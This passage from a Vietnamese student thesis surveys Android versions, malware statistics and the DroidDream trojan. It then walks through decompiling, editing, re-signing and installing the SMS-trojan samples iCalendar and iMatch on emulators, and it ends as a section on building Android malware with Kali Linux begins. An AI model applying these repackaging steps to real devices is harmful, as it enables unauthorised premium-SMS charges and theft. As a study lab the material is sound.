 Android 1.5 (API mức độ 3, phát hành ngày 27 tháng 4 năm 2009) và Android 1.6 (API
mức độ 4, phát hành ngày 15 tháng 9 năm 2009): Bản cập nhật bao gồm một số tính năng mới
và sử đổi giao diện người dùng UI.
 Android 2.x (2.0-2.1 API mức độ 7, 2.2 API mức độ 8, 2.3-2.3.2 API mức độ 9, 2.3.3-
2.3.7 API mức độ 10): phát hành từ tháng 10 năm 2009 đến tháng 2 năm 2011 với nhiều tính
năng mới được thêm vào, thay đổi giao diện người dùng cũng như nâng cao khả năng bảo mật.
 Android 3.x (3.1 API mức độ 12, 3.2 API mức độ 13) phát hành từ tháng 5 đến tháng 7
năm 2011 với tên gọi Honeycomb là phiên bản dành riêng cho máy tính bảng. Mặc dù không để
lại nhiều dấu ấn đắc biệt trên thị trường nhưng phiên bản này là nền tảng cho Android 4.0.
 Android 4.x (từ API mức độ 15 đến API mức độ 19) phát hành từ tháng 12 năm 2011 và
tiếp tục đến nay. Được xem là sự thay đổi lớn trong lịch sử phát triển của Android với nhiều cải
tiến về mặt công nghệ cung như tính năng. Đặc biệt phiên bản này là sự hợp nhất cho hệ điều
hành smartphone và máy tính bảng.
 Android 5 (API mức độ 20): phát hành tháng 7 năm 2014 là phiên bản cho nhà phát triển.
Theo dữ liệu cập nhật mới nhất mà Google cung cấp về thị phần các phiên bản Android tại
link: http://developer.android.com/about/dashboards/index.html.Đến ngày 7/7/2014 thị phần
của các phiên bản Android 2.3.x và 4.x.x chiếm tỉ lệ lớn nhất thể hiện sự quan trọng và thông
dụng nhất của các phiên bản Android này.Trong đó, Android 2.3.x chiếm 13.5% còn
Android 4.x.x chiếm 85.8 %
1.5Cài đặt hệ điều hành Android 2.3 và 4.x trên môi trường giả lâp.
1.5.1. Cài đặt Java SE trên máy tính.
Để cài đặt Android trên môi trường giả lập trước tiên cần cài đặt môi trường Java For
Developers để chạy được Eclipse và Android SDK. Ở đây mình sử dụng hệ điều hành Windows 8
64-bit (các phiên bản Windows khác đều tương tự). Đầu tiên bạn cần dowload bộ cài đặt Java SE
tại link sau http://www.oracle.com/technetwork/java/javase/downloads/index.html
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
21
Hình 3. Download Java SE
Chọn Jaca Platform (JDK) 8u5 để chuyển sang trang tiếp theo.
Hình 4. Chọn phiên bản Java.
Chọn phiên bản thích hợp với hệ điều hành để tải về. Ở đây mình chọn bản cho Windows
64-bit.
Chạy bộ cài đặt vừa được tải về ta được như hình sau:
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
22
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
23
B1. Chạy file cài đặt java JDK -> Click Next.
Hình 5:Cài đặt Java
B2. Chọn thư mục cài đặt -> Click Next.
Hình 6:Cài đặt Java
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
24
B3. Quá trình cài đặt thành công java JDk sẽ được thông báo như hình dưới ->
Click Close.
Hình 6:Cài đặt Java hoàn tất
Sau khi cài xong, các bạn kiểm tra lại bộ JDK đã được cài đặt thành công bằng cách vào
cmd gõ lệnh “java”. Nếu màn hình hiện ra như sau thì bạn đã cài đặt thành công:
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
25
Hình 7. Kiểm tra Java đã được cài đặt.
1.5.2. Cài đặt Eclipse và Android SDK
Trước tiên download bộ ADT Bundle for Windows gồm Eclipse và Android SDK được
tích hợp sẵn tại địa chỉ: http://developer.android.com/sdk/index.html
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
26
Hình 8. Download Android SDK.
Chọn dowload để sang trang tiếp theo
Hình 9. Chọn phiên bản Android SDK.
Chọn phiên bản thích hợp va tiến hành dowload (như hình). Sau khi tải xong tiến hành giải
nén ta được các file như hình:
Hình 10. Giải nén file Android SDK tải về.
Để cài đặt Android SDK các bạn có 2 cách:
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
27
- Cách 1: Các bạn click chuột vào biểu tượng SDK Manager ở ngoài và tiến hành cài đặt.
- Cách 2: Các bạn khởi chạy Eclipse lên. Rồi vào mục Android SDK Manager
Hình 12. Khởi động Android SDK Manager.
Sẽ xuất hiện 1 cửa sổ mới như sau :
Hình 13. Chọn và cài đặt các gói API cần thiết.
Download các gói hỗ trợ như:Android SDK Buil-tools, Android SDK Platform-tools, các
phiên bản Android và các gói hỗ trợ khác… bằng cách tích chọn các phần API cần cài rồi click
vào nút Install packages ở góc dưới bên phải
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
28
Hình 14.cài đặt các gói API cần thiết.
Công việc tiếp theo là các bạn chỉ cần chờ cho nó download và cài đặt là xong.
1.5.3. Tạo máy AVD (Android Virtual Device).
Sau khi khởi chạy xong Eclipse. Bạn vào : Windows -> Android Virtual
Device Manager.
Hoặc các bạn cũng có thể click ngay vào biểu tượng AVD trên menu của Eclipse :
Hình 15. Khởi động Android Virtual Device Manager.
Click vào New để tạo mới :
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
29
Hình 16. Tạo mới máy ảo Android.
Cửa sổ mới mở ra, các bạn điền đầy đủ các thông số vào theo yêu cầu :
Hình 17. Thông số cho máy ao Android.
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
30
AVD Name: Các bạn chỉ được sử dụng cách ký tự : A -> Z, a -> z, và “., -, _” mà thôi.
Target: Bạn chọn phiên bản Android để test.
SD Card: Là dung lượng bộ nhớ ảo của thẻ SD.
Và một số thông tin khác…
Các bạn click OK để hoàn thành tạo mới một AVD.
Bây giờ bạn vào phần Android Virtual Device Manager như ban đầu thì bạn sẽ thấy tên
máy ảo mới mình vừa tạo rồi.
Nhấn Start để khởi chạy máy ảo (bạn có thể sẽ phải chờ một khoảng thời gian để máy ảo
khởi chạy):
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
31
Hình 18. Khởi động máy ảo Android.
Và đây là giao diện cuối cùng :
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
32
Hình 19. Máy ảo Android khởi động hoàn tất.
Thực hiện tương tự để tạo Android phiên bản 4.x.
1.6 So sánh sự khác nhau giữa hai phiên bản Android 2.3 và 4.x.
1.6.1. Sự khác nhau về yêu cầu phần cứng cần thiết để cài đặt.
Android 2.3 (Gingerbread) Android 4.0 (Ice Cream Sandwich)
Cần ít nhất 128MB bộ nhớ có sẵn cho
kernel và cho không gian người sử dụng.
Cần ít nhất 340MB bộ nhớ có sẵn cho kernel
và cho không gian người sử dụng.
Dung lượng RAM tối thiểu cần thiết là
150MB.
Dung lượng RAM tối thiểu cần thiết là
350MB.
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
33
Màn hình:
- Màn hình phải có kích cỡ ít nhất 2,5
inch.
- Độ phân giải màn hình ít nhất là 100 dpi.
- Tỉ lệ màn hình từ 1.333 (4:3) đến 1,779
(16:9).
- Công nghệ màn hình được sử dụng là
công nghệ “square pixels”.
Màn hình:
- Màn hình phải có kích cỡ ít nhất
426x320dp.
- Độ phân giải màn hình ít nhất là 120 dpi.
- Tỉ lệ màn hình từ 1.3333 (4:3) đến 1,85
(16:9) .
Yêu cầu có các phím vật lý. Không yêu cầu có các phím vật lý.
Các API Android bao gồm trình quản lý
download các ứng dụng có thể sử dụng để
tải dữ liệu. Trình quản lý download phải
có khả năng tải tập tin có dung lượng ít
nhất 55MB.
Các API Android bao gồm trình quản lý
download các ứng dụng có thể sử dụng để tải
dữ liệu. Trình quản lý download phải có khả
năng tải tập tin có dung lượng ít nhất
100MB.
Kiểm tra hiệu suất dựa trên thời gian mở
ứng dụng (performance matrics):
- Trình duyệt: ít hơn 1300ms.
- MMS/SMS: ít hơn 700ms.
- Báo thức: ít hơn 650ms.
Kiểm tra hiệu suất dựa trên thời gian mở ứng
dụng (performance matrics):
- Trình duyệt: ít hơn 1300ms.
- MMS/SMS: ít hơn 700ms.
- Cài đặt: ít hơn 700ms.
1.6.2. Sự khác nhau về giao diện.
Giao diện người dùng của Android dựa trên nguyên tắc tác động trực tiếp, sử dụng
cảm ứng chạm tương tự như những động tác ngoài đời thực như vuốt, chạm, kéo dãn và thu
lại để xử lý các đối tượng trên màn hình. Sự phản ứng với tác động của người dùng diễn
ra gần như ngay lập tức, nhằm tạo ra giao diện cảm ứng mượt mà, thường dùng tính năng
rung của thiết bị để tạo phản hồi rung cho người dùng. Những thiết bị phần cứng bên
trong như gia tốc kế, con quay hồi chuyển và cảm biến khoảng cách được một số ứng
dụng sử dụng để phản hồi một số hành động khác của người dùng, ví dụ như điều chỉnh màn
hình từ chế độ hiển thị dọc sang chế độ hiển thị ngang tùy theo vị trí của thiết bị, hoặc cho
phép người dùng lái xe đua bằng xoay thiết bị, giống như đang điều khiển vô-lăng.
Các thiết bị Android sau khi khởi động sẽ hiển thị màn hình chính, điểm khởi đầu
với các thông tin chính trên thiết bị, tương tự như khái niệm desktop (bàn làm việc)
trên máy tính để bàn. Màn hính chính Android thường gồm nhiều biểu tượng (icon) và tiện
ích (widget); biểu tượng ứng dụng sẽ mở ứng dụng tương ứng, còn tiện ích hiển thị những
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
34
nội dung sống động, cập nhật tự động như dự báo thời tiết, hộp thư của người dùng, hoặc
những mẩu tin thời sự ngay trên màn hình chính. Màn hình chính có thể gồm nhiều trang
xem được bằng cách vuốt ra trước hoặc sau, mặc dù giao diện màn hình chính của Android có
thể tùy chỉnh ở mức cao, cho phép người dùng tự do sắp đặt hình dáng cũng như hành vi của
thiết bị theo sở thích. Những ứng dụng do các hãng thứ ba có trên Google Play và các kho
ứng dụng khác còn cho phép người dùng thay đổi "chủ đề" của màn hình chính, thậm chí
bắt chước hình dáng của hệ điều hành khác như Windows Phone chẳng hạn. Phần lớn
những nhà sản xuất, và một số nhà mạng, thực hiện thay đổi hình dáng và hành vi của các thiết
bị Android của họ để phân biệt với các hãng cạnh tranh.
Ở phía trên cùng màn hình là thanh trạng thái, hiển thị thông tin về thiết bị và tình
trạng kết nối. Thanh trạng thái này có thể "kéo" xuống để xem màn hình thông báo gồm
thông tin quan trọng hoặc cập nhật của các ứng dụng, như email hay tin nhắn SMS mới nhận,
mà không làm gián đoạn hoặc khiến người dùng cảm thấy bất tiện. Trong các phiên bản đời
đầu, người dùng có thể nhấn vào thông báo để mở ra ứng dụng tương ứng, về sau này các
thông tin cập nhật được bổ sung theo tính năng, như có khả năng lập tức gọi ngược lại khi
có cuộc gọi nhỡ mà không cần phải mở ứng dụng gọi điện ra. Thông báo sẽ luôn nằm đó cho
đến khi người dùng đã đọc hoặc xóa nó đi.
Android 2.3 (Gingerbread) Android 4.0 (Ice Cream Sandwich)
Giao diện đơn giản. Giao diện tinh tế hơn, trong suốt và đẹp
mắt hơn.
Chỉ hỗ trợ phím ảo là phím Home. Hỗ trợ các phím ảo: Home, Back, zoom
Không có widget menu. Có widget menu giúp tìm nhanh thông tin
mà không cần mở ứng dụng.
1.6.3. Sự khác nhau về tính năng.
Android 2.3 (Gingerbread) Android 4.0 (Ice Cream Sandwich)
Thiết kế tối ưu hóa cho smartphones. Thiết kế tối ưu hóa cho cả smartphones và
tablets.
Chỉ có thể xóa tất cả các thông báo cùng
lúc trên trình quản lí thông báo.
Có thể xóa riêng rẽ từng thông báo trên trình
quản lí thông báo.
Chỉ có thể trả lời, ngắt cuộc gọi khi màn
hình bị khóa.
Có thể thực hiện thêm một số tính năng khi
màn hình bị khóa ngoài trả lời, ngắt cuộc gọi
như gửi tin nhắn...
Không có tính năng mở khóa màn hình
nhận diện khuôn mặt (face unlock).
Có tính năng mở khóa màn hình nhận diện
khuôn mặt (face unlock)
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
35
Không hỗ trợ chỉnh sửa hình ảnh. Hỗ trợ phần mềm chỉnh sửa hình ảnh, tự
động nhận diện được tất cả các camera trên
thiết bị.
1.6.4. Sự khác nhau về giao thức mạng.
Android 2.3 (Gingerbread) Android 4.0 (Ice Cream Sandwich)
Không hỗ trợ giao thức https Hỗ trợ giao thức https
2. Mã độc trên Android.
2.1. Định nghĩa:
Mã độc là một đoạn code được đưa vào phần mềm nhằm thay đổi các thực thi của hệ điều
hành hoặc các chương trình bảo vệ máy tính mà không cần sự cho phép của người sử dụng.
Bằng cách này, phần mềm có chứa mã độc sẽ:
 Phá hoại hệ thống máy tính như xóa, sửa, làm hỏng file, dữ liệu….
 Phát tán thư rác.
 Lợi dụng máy tính của bạn làm công cụ tấn công các hệ thống mạng máy tính khác.
 Đánh cắp thông tin: thông tin về địa chỉ mail, thông tin cá nhân, tài khoản ngân hàng, thẻ
tín dụng,….
2.2. Mã độc trong môi trường Android:
2.2.1. Android là một môi trường lý tưởng cho mã độc phát triển.
 Phần lớn các smartphone đều hỗ trợ các ứng dụng email, internet baking…Sử dụng các
ứng dụng này đồng nghĩa với việc cung cấp thông tin cá nhân.
 Android hiện tại giữ vị trí số một trong các hệ điều hành dành cho smartphone và máy
tính bảng.
 Android là một hệ điều hành mã nguồn mở.
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
36
2.2.2. Phân loại mã độc Android.
Có nhiều cách phân loại khac nhau như: Troy Vennon dựa vào cách hoạt động lây nhiễm
của mã độc đã chia ra làm bốn loại, K.H.Khan & M.N.Tahir phân loai mã độc làm 6 nhóm.
Theo trang web forenics chuyên nghiên cứu về mã độc dựa vào mục tiêu của mã độc để chia ra
làm 9 họ:
Đánh cấp thông tin cá nhân 51,3%
Gửi tin nhắn trái phép (IMEL,..) 30,1%
Botnet(spam, thư rác,..) 23,5%
Truy cập Root 18,3%
Tải từ Google-Play 11,3%
Cài đặt các ứng dụng khác 10,4%
Đánh cấp định vị của người dùng 8,7%
Cài đặt các ứng dụng hỗ trợ hacker 7,8%
Trojans (tiếp cận các dịch vụ ngân hàng trực tiếp) 3,5%
2.3. Thực trạng
Theo thống kê được thực hiện dựa trên số liệu từ hệ thống giám sát virút của Bkav, chỉ trong
năm tháng đầu năm 2014, phần mềm bảo vệ smartphone Bkav Mobile Security đã cập nhật
621.000 mã độc mới xuất hiện, vượt xa số lượng 528.000 của cả năm 2013. Đặc biệt, mỗi ngày có
262.000 điện thoại bị nhiễm loại mã độc gửi tin nhắn SMS đến đầu số tính phí. “Đây là các đầu số
thu phí 15.000 đồng/tin nhắn, tính ra mỗi ngày người sử dụng VN bị “móc túi” số tiền khổng lồ lên
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
37
tới hơn 3,9 tỉ đồng”, báo cáo của Bkav kết luận. Thực tế, số tiền các loại virút “móc túi” người
dùng smartphone có thể hơn gấp nhiều lần vì có rất nhiều điện thoại bị nhiễm virút trong một thời
gian dài nhưng chủ nhân không nhận biết và cũng không có biện pháp kiểm tra, theo dõi.
Một báo cáo mới vừa được công bố, cho thấy mức độ nghiêm trọng của mã độc trên
Android - hệ điều hành di động phổ biến nhất thế giới có đến 99,9% số lượng mã độc mới được
phát hiện trong quý I năm 2013 được thiết kế để nhắm đến nền tảng Android. Đây là một con số
báo động về tình trạng mã độc trên nền tảng di động của Google vừa được hãng bảo mật
Kaspersky Lab công bố.
Phần lớn trong số các loại mã độc trên Android là virus trojan, một dạng virus chủ yếu để
sử dụng để đánh cắp tiền của người dùng bị lây nhiễm bằng cách gửi đến họ những tin nhắn lừa
đảo, đọc lén các thông tin cần thiết và gửi báo cáo đến nơi khác, ăn cắp thông tin như là mật
khẩu và số thẻ tín dụng, cài đặt lén các phần mềm chưa được cho phép, ….. Loại mã độc này
chiếm đến 63% tổng số các loại mã độc mới được phát tán trên Android trong quý I năm 2013.
Các nhà nghiên cứu bảo mật của Kaspersky cũng báo cáo một sự bùng nồ về số lượng các
mã độc hại trên di động. Theo đó chỉ tính riêng trong 3 tháng đầu năm 2013, Kaspersky đã phát
hiện được số lượng mã độc mới trên các nền tảng di động bằng tổng số lượng mã độc được phát
hiện trong cả năm 2012 mà Android là nền tảng chịu ảnh hưởng nặng nhất.
Với việc Android tiếp tục trở thành “mồi ngon” của hacker trong việc phát tán các loại mã
độc, có vẻ như Android đang dần trở thành một “Windows thứ 2” trên lĩnh vực bảo mật, khi sự
phổ biến của nền tảng này đang thu hút tối đa sự chú ý của các tin tặc, đồng thời việc quản lý
các ứng dụng cho Android một cách lỏng lẻo càng tạo điều kiện cho mã độc được phát tán dễ
dàng hơn trên nền tảng di động này.
Bên cạnh lĩnh vực mã độc trên nền tảng di động, báo cáo về tình trạng bảo mật trong quý
1/2013 của Kaspersky cũng cho biết 91% các vụ phát tán mã độc chủ yếu dựa vào việc phát tán
các đường link trang web có chứa mã độc. Các đường link có chứa mã độc này chủ yếu được
phát tán thông qua email và trên các mạng xã hội như Facebook, Twitter… Đây được xem là
biện pháp được yêu thích nhất hiện nay của hacker.
Con số cụ thể các loại mã độc (bao gồm cả trên nền tảng di động và các nền tảng khác) đã
được Kaspersky phát hiện và vô hiệu hóa trong quý I năm 2013 là
1.345.570..352 mã độc (hơn 1 tỉ mã độc). Trong đó có hơn 60% các loại mã độc phát tán từ 3
quốc giá: Mĩ (25%), Nga (19%) và Hà Lan (14%).
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
38
2.4. Malware – tiêu biểu của trên Android.
Đã không còn chỉ là mối lo ngại với người sử dụng máy tính, hiện nay Malware đã và đang tấn
công mạnh mẽ đến các hệ điều hành dành cho smartphone, đặc biệt là Android.
Malware (phần mềm ác tính) viết tắt của cụm từ Malicious Sofware, là một phần mềm máy
tính được thiết kế với mục đích thâm nhập hoặc gây hỏng hóc máy tính mà người sử dụng
không hề hay biết. Người viết nên nó ban đầu chỉ tập trung vào máy tính, nhất là Windows khi
nó chiếm đến 90% tổng số Malware xuất hiện trên các nền tảng, bên cạnh đó là các OS khác
như Linux, Chrome OS, MacOs... nhưng không đáng kể. Tuy nhiên giờ đây khi smartphone
đang ngày càng phát triển và phổ biến dần thay thế máy tính từ các công việc soạn thảo văn bản,
giải trí đến giao dịch ngân hàng thì nó trở thành mục tiêu tấn công của Malware.
Theo thống kê của các hãng bảo mật trên thế giới thì hiện các Malware hiện nay mới chỉ
dừng lại ở mức độ xâm nhập và ăn cắp thông tin của người dùng và nó chưa có cơ chế lây lan.
Theo các kết quả trên thì Malware trên Smartphone hiện nay về cách thức hoạt động giống như
một phần mềm gián điệp (Trojan), phần lớn nhắm vào dịch vụ Mobile Banking trên Smartphone
để lấy cắp thông tin, các thao tác xác nhận... thông qua việc sử dụng SMS Spy, tức là theo dõi
tin nhắn SMS khi bạn thực hiện giao dịch với ngân hàng. Bên cạnh đó là nhằm vào các cuộc gọi
thực hiện trên máy bạn, tắt một số dịch vụ để dễ kiểm soát.
2.4.1. Cơ chế hoạt động của Malware.
Lấy một ví dụ cụ thể về 1 Malware rất phổ biến trong thời gian vừa qua đó là Malware
DroidDream. Malware này hoạt động qua 2 giai đoạn:
 Giai đoạn 1: DroidDream được nhúng vào trong một ứng dụng (số lượng ứng dụng chứa
Malware này hiện đã nhiều hơn 50 ứng dụng) và sẽ chiếm được quyền root vào thiết bị của bạn
ngay sau khi bạn chạy ứng dụng đó trong lần sử dụng đầu tiên.
 Giai đoạn 2 : Tự động cài đặt một ứng dụng thứ 2 với một permission đặc biệt cho phép
quyền uninstall. Một khi các ứng dụng thứ 2 được cài đặt, nó có thể gửi các thông tin nhạy cảm
tới một máy chủ từ xa và âm thầm tải thêm các ứng dụng khác Một khi DroidDream chiếm được
quyền root, Malware này sẽ chờ đợi và âm thầm cài đặt một ứng dụng thứ hai,
DownloadProviderManager.apk như một ứng dụng hệ thống. Việc cài đặt ứng dụng hệ thống
này nhằm ngăn ngừa người dùng xem hoặc gỡ bỏ cài đặt các ứng dụng mà không được phép.
Không giống như giai đoạn 1, người dùng phải khởi động ứng dụng để bắt đầu việc lây
nhiễm, ở giai đoạn thứ 2 ứng dụng tự động làm một số việc như là confirm, checkin….Một điều
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
39
nữa khiến cho bạn không thể biết chúng hoạt động lúc nào, đó là Malware DroidDream này
được lập trình để làm hầu hết các công việc của mình vào khoảng thời gian từ 11h đêm tới 8h
sáng ngày hôm sau. Đây là khoảng thời gian mà điện thoại ít có khả năng được sử dụng nhất.
Điều này làm cho người dùng khó khăn hơn trong việc phát hiện một hành vi bất thường trên
chiếc smartphone của mình.
2.4.2. Mục đích của Malware DroidDream
DroidDream được coi là một trong những Malware đầu tiên trên Android, mục đích của
con DroidDream này mới chỉ dừng lại ở mức độ làm cho chiếc điện thoại của người dùng tự
động cài đặt những ứng dụng chứa mã độc khác. Tuy nhiên các biến thể của nó đã kịp thời biến
đổi để gây ra các mối nguy hại lớn hơn rất nhiều. Ví dụ như Hippo SMS được tìm thấy mới đây
có khả năng tự gửi tin nhắn mà không cần sự cho phép của người dùng, việc này sẽ khiến tiền
cước phí của người dùng tăng lên một cách chóng mặt mà người dùng không biết rõ lí do tại
sao. Hoặc một Malware khác là Zitmo, Malware này đưa ra các ứng dụng kích hoạt mọi hành
động liên quan đến dịch vụ ngân hàng, tiếp nhận SMS gửi đến và chuyển tới máy chủ. Các đoạn
code dùng 1 lần mà các ngân hàng thường gửi tới khách hàng thông qua tin nhắn SMS để chứng
thực sẽ bị thu thập bởi các malware này.
Hiện nay còn có một số Malware còn có khả năng nghe lén tất cả các cuộc điện thoại. Vấn
đề này thực sự nguy hiểm khi tất cả các vấn đề riêng tư của chúng ta đang bị một theo dõi, vì
vậy những mối nguy hiểm từ mã độc trên android đang thực sự đe dọa đến an sự an toàn của
người dùng hệ điều hành này.
2.5. Cơ chế bảo mật trong Android.
2.5.1. Tính bảo mật trong Android
 Các ứng dụng android được tách biệt với nhau trong quá trình thực thi.
 Các ứng dụng android được phân biệt bởi system ID.
 Các ứng dụng android phải được signing mới có thể cài đặt vào hệ thồng.
 Bảo mật trong android được thể hiện qua cơ chế “Permission”
2.5.2. Cơ chế Permission:
Bất cứ những tác vụ nào gây ảnh hưởng cho các ứng dụng khác, hệ điều hành và người sử
dụng thiết bị đều đươc bảo vệ bởi cơ chế Permission, ví dụ như đọc gửi tin nhắn, truy cập mạng,
thực hiện cuộc gọi, truy cập vào thông tin cá nhân,..Nói cách khác người lập trinh ứng dụng sẽ
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
40
khai báo Permission cho những nguông tài nguyên này sẽ được thông báo đến người dùng trước
khi cài đặt ứng dụng.
2.5.3. Google Play:
Kiểm soát các mã độc trên ứng dụng.
3. Cài đặt một số chương trình có mã độc trên Android.
3.1. iCalendar
iCalendar là 1 chương trình dạng lịch xuất xứ từ Trung Quốc có gắn kèm mã độc thực hiện gửi
1 tin nhắn đến 1 số điện thoại định trước mà không thông qua sự cho phép của người dùng.
3.1.1. Các công cụ cần thiết:
 Apktool : https://code.google.com/p/android- apktool/downloads/list)
 dex2jar : https://code.google.com/p/dex2jar/)
 id-gui : https://code.google.com/p/innlab/downloads/detail?name=jd-gui-
0.3.3.windows.zip&can=2&q=)
 File iCalendar.apk: http://securityxploded.com/demystifying-android-malware.php
 Hai máy ảo Android (xem hướng dẫn tạo máy ảo ở trên).
3.1.2. Các bước thực hiện:
B1. Dùng phần mềm 7-Zip giải nén file iCalendar,rồi vào đó copy file classes.dex vào folder
chứa công cụ dex2jar.
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
41
Hình 20 : Folder iCalendar
B2. Vào CommanWindow di chuyển đến folder chứa công cụ dex2jar thực hiện câu
lệnh: dex2jar classes.dex để chuyển file classes.dex thành file .jar ta thu được file
classes_dex2jar.jar .
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
42
Ta thu được folder smali có chứa các file source code ứng dụng
Hình 24: file iCalendar.smali và SmsReceiver.smali
B5.Sửa các thông số ở 2 file iCalendar.smali và SmsReceiver.smali để thực hiện trên thiết bị
giả lập.
Hình 25: Sửa thông số line 252
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
43
Hình 26: Sửa thông số line 41
B6. Vào CommandWindow thực hiện câu lệnh sau để đóng gói lại ứng dụng iCalendar đã
được chỉnh sửa và ta thu được gói iCalendar.apk mới ở thư mục:…apktooliCalendardist:
apktool b iCalendar
Hình 27: Lệnh đóng gói của apktool thực hiện thành công
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
44
B7. Di chuyển đến thư mục …java/bin (có chứa gói iCalendar.apk vừa mới tạo ra ở bước 6)
và thực hiện 3 câu lệnh sau để verify gói apk này có thể sử dụng được trên thiết bị, các bước
thực hiện từng câu lệnh ta sẽ thực hiện theo hướng dẫn trên CommandWindow, kết quả ta thu
được như hình 10:
+ keytool -genkey -v -keystore iCalendar-iCalendar.keystore -alias iCalendar -keyalg
RSA -keysize 2048 -validity 10000
+ jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore
iCalendar-iCalendar.keystore iCalendar.apk iCalendar
+ jarsigner -verify -verbose -certs iCalendar.apk
Hình 28: gói apk verified thành công
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
45
B8. Dùng lệnh sau để cài đặt ứng dụng vào thiết bị giả lập (ở đây ta cài đặt vào thiết bị 5554):
adb -s emulator-5554 install iCalendar.apk
Hình 29: Lệnh cài đặt ứng dụng vào thiết bị giả lập thành công
B9.Kiểm tra kết quả trên thiết bị.
Hình 30 : Ứng dụng iCalendar đã được cài đặt
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
46
B10.Thực hiện kích hoạt Trojan gửi tin nhắn từ thiết bị 5554 sang thiết bị 5556.Kết quả thành
công .
Hình 31: Android02 nhận được tin nhắn từ iCalendar.
3.2. iMatch
Tương tự như iCalendar, iMatch cho phép gửi tinh nhắn trái phép khi mã độc bị kích hoạt.
Điểm khác nhau ở đây là iMatch là một ứng dụng game và mã độc có thể gửi bốn tin nhắn cho 4 số
điện thoại giống hoặc khác nhau.
3.2.1. Các công cụ cần thiết:
 Super Apk tool: https://code.google.com/p/super-apk-tool/
 iMatch : http://contagiodump.blogspot.com/2011/03/take-sample-leave-sample-mobile-
malware.html
 Hai máy ảo Android (xem hướng dẫn tạo máy ảo ở trên).
3.2.2. Các bước thực hiện:
Thực hiện tương tự như với iCalendar.apk nhưng thay thế bằng file iMatch.apk. Tại bước
View Smali Code ta vào tiếp theo đường dẫn .commjutils ta được
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
47
Hình 32. Thư mục untils.
Mở file MJUtils.smali bằng Notepad hoặc Notepad++ và thực hiện đổi số điện thoại
người nhận và nội dung tin nhắn tại bốn vị trí sau :
Hình 33. Nội dung tin nhắn 1.
Hình 34. Nội dung tin nhắn 2.
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
48
Hình 35. Nội dung tin nhắn 3.
Hình 36. Nội dung tin nhắn 4.
Sau khi lưu lại ta buil và nhận được kết quả
Hình 37. Kết quả chạy chương trình iMatch.
Ta thấy khi ứng dụng iMatch tai máy Android01 được khởi động thì có bốn tin nhắn được
gửi đến máy Android02 (vì ở đây thiết đặt bốn số điện thoại đến giống nhau là máy Android02).
4. Nghiên cứu Kali Linux, cách tạo mã độc trên Kali Linux để xâm nhập vào máy
Android
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
49
4.1. Tổng quan
Kali Linux là một hệ điều hành được xây dựng trên nhân Linux, được thiết kế để kiểm tra
bảo mật, thử nghiệm xâm nhập các hệ thống máy tính. Tiền thân của Kali Linux là BackTrack,
xuất hiện năm 2006 và được các chuyên gia đánh giá bảo mật ưa chuộng sử dụng. Sau 7 năm
liên tục phát triển, tháng 3 năm 2013, hãng Offensive Security đã công bố phiên bản mới của
BackTrack có thên là Kali Linux (được xem như phiên bản BackTrack 6). Kali Linux tập hợp và
phân loại gần như tất cả các công cụ thiết yếu mà bất kì chuyên gia đánh giá bảo mật nào cũng
cần sử dụng khi tác nghiệp.
4.2. Cải tiến của Kali Linux so với Backtrack.
 Kali phát triển trên nền tảng hệ điều hành Debian
Điều này có nghĩa Kali có rất nhiều ưu điểm. Đầu tiên là các Repository (Kho lưu trữ phần
mềm) được đồng bộ hóa với các Repository của Debian nên có thể dễ dàng có được các bản cập
nhật vá lỗi bảo mật mới nhất và các cập nhật Repository. Duy trì cập nhật (up-to-date) đối với
các công cụ Penetration Test là một yêu cầu vô cùng quan trọng.
Một lợi thế khác là mọi công cụ trong Kali đều tuân theo chính sách quản lý gói của
Debian. Điều này có vẻ không quan trọng nhưng nó đảm bảo rõ ràng về mặt cấu trúc hệ thống
tổng thể, nó cũng giúp cho chúng ta có thể dễ dàng hơn trong việc xem xét hoặc thay đổi mã
nguồn của các công cụ.
 Tính tương thích kiến trúc
Một ưu điểm quan trọng trong Kali là nó đã cải tiến khả năng tương thích với kiến trúc
ARM. Từ khi Kali xuất hiện, nhiều phiên bản ấn tượng đã được tạo ra. Giờ đây ta có thể build
Kali trên một Raspberry Pi hoặc trên Samsung Galaxy Note.
 Hỗ trợ mạng không dây tốt hơn
